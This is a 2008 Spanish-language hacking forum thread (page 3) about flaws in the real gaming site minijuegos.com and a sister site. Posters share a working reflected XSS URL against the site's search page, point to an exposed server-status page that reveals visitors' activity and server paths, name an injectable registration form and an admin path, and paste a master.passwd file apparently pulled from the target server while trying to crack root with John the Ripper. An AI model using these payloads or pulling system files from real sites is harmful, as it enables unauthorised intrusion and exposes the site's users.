elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [°] Todas las IPs de los usuarios online de Minijuegos		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] Ir Abajo Respuesta Imprimir
Autor Tema: [°] Todas las IPs de los usuarios online de Minijuegos  (Leído 17,901 veces)
c1c4tr1z

Desconectado Desconectado

Mensajes: 27



Ver Perfil
Re: Todas las IPs de los usuarios online de Minijuegos
« Respuesta #20 en: 11 Julio 2008, 00:06 am »
Perdon si esta mal "posteado", pero aca hay una vulnerabilidad sobre XSS o HTMLi en minijuegos.com:

Código:
http://www.minijuegos.com/busqueda.php?nov=0&termino=%22%3E%3Cmarquee%3E%3Ch1%3EXSS%3C/h1%3E%3C/marquee%3E

UPDATE: Y despues dejaron intensionalmente (creo ;D) server-status habilitado:

Código:
http://www.minijuegos.com/server-status

Lo que nos permitiria ver en tiempo real a los usuarios conectados, path del servidor, la accion que toma el usuario remoto, etc.

Y en minitoneos.com, por el input de usuario [metodo POST]:

Código:
http://www.minitorneos.com/registro/

Saludos!
« Última modificación: 11 Julio 2008, 00:39 am por c1c4tr1z » En línea


dimitrix


Desconectado Desconectado

Mensajes: 4.847



Ver Perfil WWW
Re: Todas las IPs de los usuarios online de Minijuegos
« Respuesta #21 en: 16 Julio 2008, 22:14 pm »
Es como un RFI (Remote File Include) pero con archivos locales de su cuenta.
En línea



Rozor

Desconectado Desconectado

Mensajes: 270


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Re: Todas las IPs de los usuarios online de Minijuegos
« Respuesta #22 en: 18 Julio 2008, 02:21 am »
pues eso LFI ( Local File Include/Inclusion ).
o RFI ( Remote File Include/Inclusion ).

¿Tan dificil es? xDDDDDDD

¿no es realmente humillante para ti lo que escribes?
En línea
out in the streets they call it murder....
chrominum


Desconectado Desconectado

Mensajes: 567


Viceroy: No es lo que tengo, es COMO lo tengo


Ver Perfil WWW
Re: Todas las IPs de los usuarios online de Minijuegos
« Respuesta #23 en: 30 Julio 2008, 00:22 am »
http://www.minijuegos.com/admin  :laugh:
En línea
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: [°] Todas las IPs de los usuarios online de Minijuegos
« Respuesta #24 en: 13 Agosto 2008, 22:41 pm »
Muy curioso, un FreeBSD, kernel vulnerable y el john aun no entrega pass de root XDDD

PASSWORDS

Código:
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
ftp:*:21:14:FTP owner:/nonexistent:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
admin:*:1001:0:Admin User:/home/admin:/bin/tcsh
mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
spamd:*:58:58:SpamAssassin user:/var/spool/spamd:/sbin/nologin
vscan:*:110:110:Scanning Virus Account:/var/amavis:/bin/sh
pdns_recursor:*:120:120:pdns_recursor pseudo-user:/nonexistent:/sbin/nologin
clamav:*:106:106:Clam Antivirus:/nonexistent:/sbin/nologin
dovecot:*:143:143:Dovecot User:/var/empty:/sbin/nologin
postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/usr/sbin/nologin
user3:*:1002:1002:User &:/home/user3:/bin/tcsh

-berz3k.



En línea
Páginas: 1 2 [3] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Usuarios Online/Offline « 1 2 »
PHP 		Sinedra 10 6,640 Último mensaje 10 Marzo 2011, 01:50 am
por Sinedra
Ya disponible Merengues Vs Culés, minijuegos para enfrentar a las dos aficiones
Noticias 		wolfbcn 1 1,478 Último mensaje 1 Septiembre 2014, 23:43 pm
por Yassper
Conoce los mejores portales con minijuegos online gratuitos
Noticias 		wolfbcn 0 1,121 Último mensaje 17 Enero 2016, 22:30 pm
por wolfbcn
6 webs para jugar gratis: de los videojuegos retro a los minijuegos online
Noticias 		wolfbcn 0 2,325 Último mensaje 19 Marzo 2018, 02:18 am
por wolfbcn
6 webs para jugar gratis: de los videojuegos retro a los minijuegos online
Noticias 		wolfbcn 0 10,067 Último mensaje 17 Marzo 2019, 02:28 am
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines